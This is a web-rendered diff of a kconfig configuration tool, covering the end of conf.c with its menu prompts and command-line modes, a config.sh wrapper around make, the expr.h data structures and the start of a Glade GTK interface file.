case S_HEX:
|
||||
case S_STRING:
|
||||
printf("%s\n", def);
|
||||
return 1;
|
||||
default:
|
||||
;
|
||||
}
|
||||
printf("%s", line);
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int conf_string(struct menu *menu)
|
||||
{
|
||||
struct symbol *sym = menu->sym;
|
||||
const char *def;
|
||||
|
||||
while (1) {
|
||||
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
|
||||
printf("(%s) ", sym->name);
|
||||
def = sym_get_string_value(sym);
|
||||
if (sym_get_string_value(sym))
|
||||
printf("[%s] ", def);
|
||||
if (!conf_askvalue(sym, def))
|
||||
return 0;
|
||||
switch (line[0]) {
|
||||
case '\n':
|
||||
break;
|
||||
case '?':
|
||||
/* print help */
|
||||
if (line[1] == '\n') {
|
||||
print_help(menu);
|
||||
def = NULL;
|
||||
break;
|
||||
}
|
||||
/* fall through */
|
||||
default:
|
||||
line[strlen(line)-1] = 0;
|
||||
def = line;
|
||||
}
|
||||
if (def && sym_set_string_value(sym, def))
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
static int conf_sym(struct menu *menu)
|
||||
{
|
||||
struct symbol *sym = menu->sym;
|
||||
tristate oldval, newval;
|
||||
|
||||
while (1) {
|
||||
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
|
||||
if (sym->name)
|
||||
printf("(%s) ", sym->name);
|
||||
putchar('[');
|
||||
oldval = sym_get_tristate_value(sym);
|
||||
switch (oldval) {
|
||||
case no:
|
||||
putchar('N');
|
||||
break;
|
||||
case mod:
|
||||
putchar('M');
|
||||
break;
|
||||
case yes:
|
||||
putchar('Y');
|
||||
break;
|
||||
}
|
||||
if (oldval != no && sym_tristate_within_range(sym, no))
|
||||
printf("/n");
|
||||
if (oldval != mod && sym_tristate_within_range(sym, mod))
|
||||
printf("/m");
|
||||
if (oldval != yes && sym_tristate_within_range(sym, yes))
|
||||
printf("/y");
|
||||
if (menu_has_help(menu))
|
||||
printf("/?");
|
||||
printf("] ");
|
||||
if (!conf_askvalue(sym, sym_get_string_value(sym)))
|
||||
return 0;
|
||||
strip(line);
|
||||
|
||||
switch (line[0]) {
|
||||
case 'n':
|
||||
case 'N':
|
||||
newval = no;
|
||||
if (!line[1] || !strcmp(&line[1], "o"))
|
||||
break;
|
||||
continue;
|
||||
case 'm':
|
||||
case 'M':
|
||||
newval = mod;
|
||||
if (!line[1])
|
||||
break;
|
||||
continue;
|
||||
case 'y':
|
||||
case 'Y':
|
||||
newval = yes;
|
||||
if (!line[1] || !strcmp(&line[1], "es"))
|
||||
break;
|
||||
continue;
|
||||
case 0:
|
||||
newval = oldval;
|
||||
break;
|
||||
case '?':
|
||||
goto help;
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
if (sym_set_tristate_value(sym, newval))
|
||||
return 0;
|
||||
help:
|
||||
print_help(menu);
|
||||
}
|
||||
}
|
||||
|
||||
static int conf_choice(struct menu *menu)
|
||||
{
|
||||
struct symbol *sym, *def_sym;
|
||||
struct menu *child;
|
||||
bool is_new;
|
||||
|
||||
sym = menu->sym;
|
||||
is_new = !sym_has_value(sym);
|
||||
if (sym_is_changable(sym)) {
|
||||
conf_sym(menu);
|
||||
sym_calc_value(sym);
|
||||
switch (sym_get_tristate_value(sym)) {
|
||||
case no:
|
||||
return 1;
|
||||
case mod:
|
||||
return 0;
|
||||
case yes:
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
switch (sym_get_tristate_value(sym)) {
|
||||
case no:
|
||||
return 1;
|
||||
case mod:
|
||||
printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu)));
|
||||
return 0;
|
||||
case yes:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
while (1) {
|
||||
int cnt, def;
|
||||
|
||||
printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu)));
|
||||
def_sym = sym_get_choice_value(sym);
|
||||
cnt = def = 0;
|
||||
line[0] = 0;
|
||||
for (child = menu->list; child; child = child->next) {
|
||||
if (!menu_is_visible(child))
|
||||
continue;
|
||||
if (!child->sym) {
|
||||
printf("%*c %s\n", indent, '*', _(menu_get_prompt(child)));
|
||||
continue;
|
||||
}
|
||||
cnt++;
|
||||
if (child->sym == def_sym) {
|
||||
def = cnt;
|
||||
printf("%*c", indent, '>');
|
||||
} else
|
||||
printf("%*c", indent, ' ');
|
||||
printf(" %d. %s", cnt, _(menu_get_prompt(child)));
|
||||
if (child->sym->name)
|
||||
printf(" (%s)", child->sym->name);
|
||||
if (!sym_has_value(child->sym))
|
||||
printf(_(" (NEW)"));
|
||||
printf("\n");
|
||||
}
|
||||
printf(_("%*schoice"), indent - 1, "");
|
||||
if (cnt == 1) {
|
||||
printf("[1]: 1\n");
|
||||
goto conf_childs;
|
||||
}
|
||||
printf("[1-%d", cnt);
|
||||
if (menu_has_help(menu))
|
||||
printf("?");
|
||||
printf("]: ");
|
||||
switch (input_mode) {
|
||||
case oldconfig:
|
||||
case silentoldconfig:
|
||||
if (!is_new) {
|
||||
cnt = def;
|
||||
printf("%d\n", cnt);
|
||||
break;
|
||||
}
|
||||
check_stdin();
|
||||
/* fall through */
|
||||
case oldaskconfig:
|
||||
fflush(stdout);
|
||||
xfgets(line, 128, stdin);
|
||||
strip(line);
|
||||
if (line[0] == '?') {
|
||||
print_help(menu);
|
||||
continue;
|
||||
}
|
||||
if (!line[0])
|
||||
cnt = def;
|
||||
else if (isdigit(line[0]))
|
||||
cnt = atoi(line);
|
||||
else
|
||||
continue;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
conf_childs:
|
||||
for (child = menu->list; child; child = child->next) {
|
||||
if (!child->sym || !menu_is_visible(child))
|
||||
continue;
|
||||
if (!--cnt)
|
||||
break;
|
||||
}
|
||||
if (!child)
|
||||
continue;
|
||||
if (line[0] && line[strlen(line) - 1] == '?') {
|
||||
print_help(child);
|
||||
continue;
|
||||
}
|
||||
sym_set_choice_value(sym, child->sym);
|
||||
for (child = child->list; child; child = child->next) {
|
||||
indent += 2;
|
||||
conf(child);
|
||||
indent -= 2;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
static void conf(struct menu *menu)
|
||||
{
|
||||
struct symbol *sym;
|
||||
struct property *prop;
|
||||
struct menu *child;
|
||||
|
||||
if (!menu_is_visible(menu))
|
||||
return;
|
||||
|
||||
sym = menu->sym;
|
||||
prop = menu->prompt;
|
||||
if (prop) {
|
||||
const char *prompt;
|
||||
|
||||
switch (prop->type) {
|
||||
case P_MENU:
|
||||
if ((input_mode == silentoldconfig ||
|
||||
input_mode == listnewconfig ||
|
||||
input_mode == olddefconfig) &&
|
||||
rootEntry != menu) {
|
||||
check_conf(menu);
|
||||
return;
|
||||
}
|
||||
/* fall through */
|
||||
case P_COMMENT:
|
||||
prompt = menu_get_prompt(menu);
|
||||
if (prompt)
|
||||
printf("%*c\n%*c %s\n%*c\n",
|
||||
indent, '*',
|
||||
indent, '*', _(prompt),
|
||||
indent, '*');
|
||||
default:
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
if (!sym)
|
||||
goto conf_childs;
|
||||
|
||||
if (sym_is_choice(sym)) {
|
||||
conf_choice(menu);
|
||||
if (sym->curr.tri != mod)
|
||||
return;
|
||||
goto conf_childs;
|
||||
}
|
||||
|
||||
switch (sym->type) {
|
||||
case S_INT:
|
||||
case S_HEX:
|
||||
case S_STRING:
|
||||
conf_string(menu);
|
||||
break;
|
||||
default:
|
||||
conf_sym(menu);
|
||||
break;
|
||||
}
|
||||
|
||||
conf_childs:
|
||||
if (sym)
|
||||
indent += 2;
|
||||
for (child = menu->list; child; child = child->next)
|
||||
conf(child);
|
||||
if (sym)
|
||||
indent -= 2;
|
||||
}
|
||||
|
||||
static void check_conf(struct menu *menu)
|
||||
{
|
||||
struct symbol *sym;
|
||||
struct menu *child;
|
||||
|
||||
if (!menu_is_visible(menu))
|
||||
return;
|
||||
|
||||
sym = menu->sym;
|
||||
if (sym && !sym_has_value(sym)) {
|
||||
if (sym_is_changable(sym) ||
|
||||
(sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) {
|
||||
if (input_mode == listnewconfig) {
|
||||
if (sym->name && !sym_is_choice_value(sym)) {
|
||||
printf("%s%s\n", CONFIG_, sym->name);
|
||||
}
|
||||
} else if (input_mode != olddefconfig) {
|
||||
if (!conf_cnt++)
|
||||
printf(_("*\n* Restart config...\n*\n"));
|
||||
rootEntry = menu_get_parent_menu(menu);
|
||||
conf(rootEntry);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (child = menu->list; child; child = child->next)
|
||||
check_conf(child);
|
||||
}
|
||||
|
||||
static struct option long_opts[] = {
|
||||
{"oldaskconfig", no_argument, NULL, oldaskconfig},
|
||||
{"oldconfig", no_argument, NULL, oldconfig},
|
||||
{"silentoldconfig", no_argument, NULL, silentoldconfig},
|
||||
{"defconfig", optional_argument, NULL, defconfig},
|
||||
{"savedefconfig", required_argument, NULL, savedefconfig},
|
||||
{"allnoconfig", no_argument, NULL, allnoconfig},
|
||||
{"allyesconfig", no_argument, NULL, allyesconfig},
|
||||
{"allmodconfig", no_argument, NULL, allmodconfig},
|
||||
{"alldefconfig", no_argument, NULL, alldefconfig},
|
||||
{"randconfig", no_argument, NULL, randconfig},
|
||||
{"listnewconfig", no_argument, NULL, listnewconfig},
|
||||
{"olddefconfig", no_argument, NULL, olddefconfig},
|
||||
/*
|
||||
* oldnoconfig is an alias of olddefconfig, because people already
|
||||
* are dependent on its behavior(sets new symbols to their default
|
||||
* value but not 'n') with the counter-intuitive name.
|
||||
*/
|
||||
{"oldnoconfig", no_argument, NULL, olddefconfig},
|
||||
{NULL, 0, NULL, 0}
|
||||
};
|
||||
|
||||
static void conf_usage(const char *progname)
|
||||
{
|
||||
|
||||
printf("Usage: %s [option] <kconfig-file>\n", progname);
|
||||
printf("[option] is _one_ of the following:\n");
|
||||
printf(" --listnewconfig List new options\n");
|
||||
printf(" --oldaskconfig Start a new configuration using a line-oriented program\n");
|
||||
printf(" --oldconfig Update a configuration using a provided .config as base\n");
|
||||
printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n");
|
||||
printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n");
|
||||
printf(" --oldnoconfig An alias of olddefconfig\n");
|
||||
printf(" --defconfig <file> New config with default defined in <file>\n");
|
||||
printf(" --savedefconfig <file> Save the minimal current configuration to <file>\n");
|
||||
printf(" --allnoconfig New config where all options are answered with no\n");
|
||||
printf(" --allyesconfig New config where all options are answered with yes\n");
|
||||
printf(" --allmodconfig New config where all options are answered with mod\n");
|
||||
printf(" --alldefconfig New config with all symbols set to default\n");
|
||||
printf(" --randconfig New config with random answer to all options\n");
|
||||
}
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
const char *progname = av[0];
|
||||
int opt;
|
||||
const char *name, *defconfig_file = NULL /* gcc uninit */;
|
||||
struct stat tmpstat;
|
||||
|
||||
setlocale(LC_ALL, "");
|
||||
bindtextdomain(PACKAGE, LOCALEDIR);
|
||||
textdomain(PACKAGE);
|
||||
|
||||
tty_stdio = isatty(0) && isatty(1) && isatty(2);
|
||||
|
||||
while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) {
|
||||
input_mode = (enum input_mode)opt;
|
||||
switch (opt) {
|
||||
case silentoldconfig:
|
||||
sync_kconfig = 1;
|
||||
break;
|
||||
case defconfig:
|
||||
case savedefconfig:
|
||||
defconfig_file = optarg;
|
||||
break;
|
||||
case randconfig:
|
||||
{
|
||||
struct timeval now;
|
||||
unsigned int seed;
|
||||
char *seed_env;
|
||||
|
||||
/*
|
||||
* Use microseconds derived seed,
|
||||
* compensate for systems where it may be zero
|
||||
*/
|
||||
gettimeofday(&now, NULL);
|
||||
seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1));
|
||||
|
||||
seed_env = getenv(PRODUCT_ENV"_SEED");
|
||||
if( seed_env && *seed_env ) {
|
||||
char *endp;
|
||||
int tmp = (int)strtol(seed_env, &endp, 0);
|
||||
if (*endp == '\0') {
|
||||
seed = tmp;
|
||||
}
|
||||
}
|
||||
fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed );
|
||||
srand(seed);
|
||||
break;
|
||||
}
|
||||
case oldaskconfig:
|
||||
case oldconfig:
|
||||
case allnoconfig:
|
||||
case allyesconfig:
|
||||
case allmodconfig:
|
||||
case alldefconfig:
|
||||
case listnewconfig:
|
||||
case olddefconfig:
|
||||
break;
|
||||
case '?':
|
||||
conf_usage(progname);
|
||||
exit(1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ac == optind) {
|
||||
printf(_("%s: Kconfig file missing\n"), av[0]);
|
||||
conf_usage(progname);
|
||||
exit(1);
|
||||
}
|
||||
name = av[optind];
|
||||
conf_parse(name);
|
||||
if (sync_kconfig) {
|
||||
name = conf_get_configname();
|
||||
if (stat(name, &tmpstat)) {
|
||||
fprintf(stderr, _("***\n"
|
||||
"*** Configuration file \"%s\" not found!\n"
|
||||
"***\n"
|
||||
"*** Please run some configurator (e.g. \"make oldconfig\" or\n"
|
||||
"*** \"make menuconfig\" or \"make xconfig\").\n"
|
||||
"***\n"), name);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
switch (input_mode) {
|
||||
case defconfig:
|
||||
if (!defconfig_file)
|
||||
defconfig_file = conf_get_default_confname();
|
||||
if (conf_read(defconfig_file)) {
|
||||
printf(_("***\n"
|
||||
"*** Can't find default configuration \"%s\"!\n"
|
||||
"***\n"), defconfig_file);
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
case savedefconfig:
|
||||
case silentoldconfig:
|
||||
case oldaskconfig:
|
||||
case oldconfig:
|
||||
case listnewconfig:
|
||||
case olddefconfig:
|
||||
conf_read(NULL);
|
||||
break;
|
||||
case allnoconfig:
|
||||
case allyesconfig:
|
||||
case allmodconfig:
|
||||
case alldefconfig:
|
||||
case randconfig:
|
||||
name = getenv(PRODUCT_ENV"_ALLCONFIG");
|
||||
if (!name)
|
||||
break;
|
||||
if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) {
|
||||
if (conf_read_simple(name, S_DEF_USER)) {
|
||||
fprintf(stderr,
|
||||
_("*** Can't read seed configuration \"%s\"!\n"),
|
||||
name);
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
}
|
||||
switch (input_mode) {
|
||||
case allnoconfig: name = "allno.config"; break;
|
||||
case allyesconfig: name = "allyes.config"; break;
|
||||
case allmodconfig: name = "allmod.config"; break;
|
||||
case alldefconfig: name = "alldef.config"; break;
|
||||
case randconfig: name = "allrandom.config"; break;
|
||||
default: break;
|
||||
}
|
||||
if (conf_read_simple(name, S_DEF_USER) &&
|
||||
conf_read_simple("all.config", S_DEF_USER)) {
|
||||
fprintf(stderr,
|
||||
_("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"),
|
||||
name);
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (sync_kconfig) {
|
||||
if (conf_get_changed()) {
|
||||
name = getenv(PRODUCT_ENV"_NOSILENTUPDATE");
|
||||
if (name && *name) {
|
||||
fprintf(stderr,
|
||||
_("\n*** The configuration requires explicit update.\n\n"));
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
valid_stdin = tty_stdio;
|
||||
}
|
||||
|
||||
switch (input_mode) {
|
||||
case allnoconfig:
|
||||
conf_set_all_new_symbols(def_no);
|
||||
break;
|
||||
case allyesconfig:
|
||||
conf_set_all_new_symbols(def_yes);
|
||||
break;
|
||||
case allmodconfig:
|
||||
conf_set_all_new_symbols(def_mod);
|
||||
break;
|
||||
case alldefconfig:
|
||||
conf_set_all_new_symbols(def_default);
|
||||
break;
|
||||
case randconfig:
|
||||
/* Really nothing to do in this loop */
|
||||
while (conf_set_all_new_symbols(def_random)) ;
|
||||
break;
|
||||
case defconfig:
|
||||
conf_set_all_new_symbols(def_default);
|
||||
break;
|
||||
case savedefconfig:
|
||||
break;
|
||||
case oldaskconfig:
|
||||
rootEntry = &rootmenu;
|
||||
conf(&rootmenu);
|
||||
input_mode = silentoldconfig;
|
||||
/* fall through */
|
||||
case oldconfig:
|
||||
case listnewconfig:
|
||||
case olddefconfig:
|
||||
case silentoldconfig:
|
||||
/* Update until a loop caused no more changes */
|
||||
do {
|
||||
conf_cnt = 0;
|
||||
check_conf(&rootmenu);
|
||||
} while (conf_cnt &&
|
||||
(input_mode != listnewconfig &&
|
||||
input_mode != olddefconfig));
|
||||
break;
|
||||
}
|
||||
|
||||
if (sync_kconfig) {
|
||||
/* silentoldconfig is used during the build so we shall update autoconf.
|
||||
* All other commands are only used to generate a config.
|
||||
*/
|
||||
if (conf_get_changed() && conf_write(NULL)) {
|
||||
fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n"));
|
||||
exit(1);
|
||||
}
|
||||
if (conf_write_autoconf()) {
|
||||
fprintf(stderr, _("\n*** Error during update of the configuration.\n\n"));
|
||||
return 1;
|
||||
}
|
||||
} else if (input_mode == savedefconfig) {
|
||||
if (conf_write_defconfig(defconfig_file)) {
|
||||
fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"),
|
||||
defconfig_file);
|
||||
return 1;
|
||||
}
|
||||
} else if (input_mode != listnewconfig) {
|
||||
if (conf_write(NULL)) {
|
||||
fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n"));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Helper function to facilitate fgets() by Jean Sacren.
|
||||
*/
|
||||
void xfgets(char *str, int size, FILE *in)
|
||||
{
|
||||
if (fgets(str, size, in) == NULL)
|
||||
fprintf(stderr, "\nError in reading or end of file.\n");
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,26 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# usage: kconfig/config.sh <make args>
|
||||
#
|
||||
# Runs the requested configuration from
|
||||
# the directory to be configured.
|
||||
#
|
||||
# For instance:
|
||||
# cd myproject/
|
||||
# kconfig/config.sh menuconfig
|
||||
#
|
||||
# Will generated a 'config' file in
|
||||
# myproject/ from the 'Kconfig' file
|
||||
# in myproject/
|
||||
#
|
||||
|
||||
set -e
|
||||
dir=`dirname $0`
|
||||
topdir=`dirname $dir`
|
||||
srcdir=`basename $dir`
|
||||
kconfig_targets="${1-config}"
|
||||
set +x
|
||||
exec make -f $dir/GNUmakefile \
|
||||
TOPDIR=$topdir \
|
||||
SRCDIR=$srcdir \
|
||||
$kconfig_targets
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,238 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#ifndef EXPR_H
|
||||
#define EXPR_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include "list.h"
|
||||
#ifndef __cplusplus
|
||||
#include <stdbool.h>
|
||||
#endif
|
||||
|
||||
struct file {
|
||||
struct file *next;
|
||||
struct file *parent;
|
||||
const char *name;
|
||||
int lineno;
|
||||
};
|
||||
|
||||
typedef enum tristate {
|
||||
no, mod, yes
|
||||
} tristate;
|
||||
|
||||
enum expr_type {
|
||||
E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE
|
||||
};
|
||||
|
||||
union expr_data {
|
||||
struct expr *expr;
|
||||
struct symbol *sym;
|
||||
};
|
||||
|
||||
struct expr {
|
||||
enum expr_type type;
|
||||
union expr_data left, right;
|
||||
};
|
||||
|
||||
#define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2))
|
||||
#define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2))
|
||||
#define EXPR_NOT(dep) (2-(dep))
|
||||
|
||||
#define expr_list_for_each_sym(l, e, s) \
|
||||
for (e = (l); e && (s = e->right.sym); e = e->left.expr)
|
||||
|
||||
struct expr_value {
|
||||
struct expr *expr;
|
||||
tristate tri;
|
||||
};
|
||||
|
||||
struct symbol_value {
|
||||
void *val;
|
||||
tristate tri;
|
||||
};
|
||||
|
||||
enum symbol_type {
|
||||
S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER
|
||||
};
|
||||
|
||||
/* enum values are used as index to symbol.def[] */
|
||||
enum {
|
||||
S_DEF_USER, /* main user value */
|
||||
S_DEF_AUTO, /* values read from auto.conf */
|
||||
S_DEF_DEF3, /* Reserved for UI usage */
|
||||
S_DEF_DEF4, /* Reserved for UI usage */
|
||||
S_DEF_COUNT
|
||||
};
|
||||
|
||||
struct symbol {
|
||||
struct symbol *next;
|
||||
char *name;
|
||||
enum symbol_type type;
|
||||
struct symbol_value curr;
|
||||
struct symbol_value def[S_DEF_COUNT];
|
||||
tristate visible;
|
||||
int flags;
|
||||
struct property *prop;
|
||||
struct expr_value dir_dep;
|
||||
struct expr_value rev_dep;
|
||||
};
|
||||
|
||||
#define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER)
|
||||
|
||||
#define SYMBOL_CONST 0x0001 /* symbol is const */
|
||||
#define SYMBOL_CHECK 0x0008 /* used during dependency checking */
|
||||
#define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */
|
||||
#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */
|
||||
#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */
|
||||
#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */
|
||||
#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */
|
||||
#define SYMBOL_CHANGED 0x0400 /* ? */
|
||||
#define SYMBOL_AUTO 0x1000 /* value from environment variable */
|
||||
#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */
|
||||
#define SYMBOL_WARNED 0x8000 /* warning has been issued */
|
||||
|
||||
/* Set when symbol.def[] is used */
|
||||
#define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */
|
||||
#define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */
|
||||
#define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */
|
||||
#define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */
|
||||
#define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */
|
||||
|
||||
/* choice values need to be set before calculating this symbol value */
|
||||
#define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000
|
||||
|
||||
#define SYMBOL_MAXLENGTH 256
|
||||
#define SYMBOL_HASHSIZE 9973
|
||||
|
||||
/* A property represent the config options that can be associated
|
||||
* with a config "symbol".
|
||||
* Sample:
|
||||
* config FOO
|
||||
* default y
|
||||
* prompt "foo prompt"
|
||||
* select BAR
|
||||
* config BAZ
|
||||
* int "BAZ Value"
|
||||
* range 1..255
|
||||
*/
|
||||
enum prop_type {
|
||||
P_UNKNOWN,
|
||||
P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */
|
||||
P_COMMENT, /* text associated with a comment */
|
||||
P_MENU, /* prompt associated with a menuconfig option */
|
||||
P_DEFAULT, /* default y */
|
||||
P_CHOICE, /* choice value */
|
||||
P_SELECT, /* select BAR */
|
||||
P_RANGE, /* range 7..100 (for a symbol) */
|
||||
P_ENV, /* value from environment variable */
|
||||
P_SYMBOL, /* where a symbol is defined */
|
||||
};
|
||||
|
||||
struct property {
|
||||
struct property *next; /* next property - null if last */
|
||||
struct symbol *sym; /* the symbol for which the property is associated */
|
||||
enum prop_type type; /* type of property */
|
||||
const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */
|
||||
struct expr_value visible;
|
||||
struct expr *expr; /* the optional conditional part of the property */
|
||||
struct menu *menu; /* the menu the property are associated with
|
||||
* valid for: P_SELECT, P_RANGE, P_CHOICE,
|
||||
* P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */
|
||||
struct file *file; /* what file was this property defined */
|
||||
int lineno; /* what lineno was this property defined */
|
||||
};
|
||||
|
||||
#define for_all_properties(sym, st, tok) \
|
||||
for (st = sym->prop; st; st = st->next) \
|
||||
if (st->type == (tok))
|
||||
#define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT)
|
||||
#define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE)
|
||||
#define for_all_prompts(sym, st) \
|
||||
for (st = sym->prop; st; st = st->next) \
|
||||
if (st->text)
|
||||
|
||||
struct menu {
|
||||
struct menu *next;
|
||||
struct menu *parent;
|
||||
struct menu *list;
|
||||
struct symbol *sym;
|
||||
struct property *prompt;
|
||||
struct expr *visibility;
|
||||
struct expr *dep;
|
||||
unsigned int flags;
|
||||
char *help;
|
||||
struct file *file;
|
||||
int lineno;
|
||||
void *data;
|
||||
};
|
||||
|
||||
#define MENU_CHANGED 0x0001
|
||||
#define MENU_ROOT 0x0002
|
||||
|
||||
struct jump_key {
|
||||
struct list_head entries;
|
||||
size_t offset;
|
||||
struct menu *target;
|
||||
int index;
|
||||
};
|
||||
|
||||
#define JUMP_NB 9
|
||||
|
||||
extern struct file *file_list;
|
||||
extern struct file *current_file;
|
||||
struct file *lookup_file(const char *name);
|
||||
|
||||
extern struct symbol symbol_yes, symbol_no, symbol_mod;
|
||||
extern struct symbol *modules_sym;
|
||||
extern struct symbol *sym_defconfig_list;
|
||||
extern int cdebug;
|
||||
struct expr *expr_alloc_symbol(struct symbol *sym);
|
||||
struct expr *expr_alloc_one(enum expr_type type, struct expr *ce);
|
||||
struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2);
|
||||
struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2);
|
||||
struct expr *expr_alloc_and(struct expr *e1, struct expr *e2);
|
||||
struct expr *expr_alloc_or(struct expr *e1, struct expr *e2);
|
||||
struct expr *expr_copy(const struct expr *org);
|
||||
void expr_free(struct expr *e);
|
||||
int expr_eq(struct expr *e1, struct expr *e2);
|
||||
void expr_eliminate_eq(struct expr **ep1, struct expr **ep2);
|
||||
tristate expr_calc_value(struct expr *e);
|
||||
struct expr *expr_eliminate_yn(struct expr *e);
|
||||
struct expr *expr_trans_bool(struct expr *e);
|
||||
struct expr *expr_eliminate_dups(struct expr *e);
|
||||
struct expr *expr_transform(struct expr *e);
|
||||
int expr_contains_symbol(struct expr *dep, struct symbol *sym);
|
||||
bool expr_depends_symbol(struct expr *dep, struct symbol *sym);
|
||||
struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2);
|
||||
struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2);
|
||||
void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2);
|
||||
struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym);
|
||||
struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2);
|
||||
|
||||
void expr_fprint(struct expr *e, FILE *out);
|
||||
struct gstr; /* forward */
|
||||
void expr_gstr_print(struct expr *e, struct gstr *gs);
|
||||
|
||||
static inline int expr_is_yes(struct expr *e)
|
||||
{
|
||||
return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes);
|
||||
}
|
||||
|
||||
static inline int expr_is_no(struct expr *e)
|
||||
{
|
||||
return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no);
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* EXPR_H */
|
@ -0,0 +1,12 @@
|
||||
#ifndef __KCONFIG_FOO_H
|
||||
#define __KCONFIG_FOO_H
|
||||
|
||||
#ifndef __APPLE__
|
||||
#include <features.h>
|
||||
#endif
|
||||
#include <limits.h>
|
||||
|
||||
#ifndef PATH_MAX
|
||||
#define PATH_MAX 1024
|
||||
#endif
|
||||
#endif /* __KCONFIG_FOO_H */
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,661 @@
|
||||
<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
|
||||
|
||||
<glade-interface>
|
||||
|
||||
<widget class="GtkWindow" id="window1">
|
||||
<property name="visible">True</property>
|
||||
<property name="title" translatable="yes">Gtk PRODUCT Configurator</property>
|
||||
<property name="type">GTK_WINDOW_TOPLEVEL</property>
|
||||
<property name="window_position">GTK_WIN_POS_NONE</property>
|
||||
<property name="modal">False</property>
|
||||
<property name="default_width">640</property>
|
||||
<property name="default_height">480</property>
|
||||
<property name="resizable">True</property>
|
||||
<property name="destroy_with_parent">False</property>
|
||||
<property name="decorated">True</property>
|
||||
<property name="skip_taskbar_hint">False</property>
|
||||
<property name="skip_pager_hint">False</property>
|
||||
<property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
|
||||
<property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
|
||||
<signal name="destroy" handler="on_window1_destroy" object="window1"/>
|
||||
<signal name="size_request" handler="on_window1_size_request" object="vpaned1" last_modification_time="Fri, 11 Jan 2002 16:17:11 GMT"/>
|
||||
<signal name="delete_event" handler="on_window1_delete_event" object="window1" last_modification_time="Sun, 09 Mar 2003 19:42:46 GMT"/>
|
||||
|
||||
<child>
|
||||
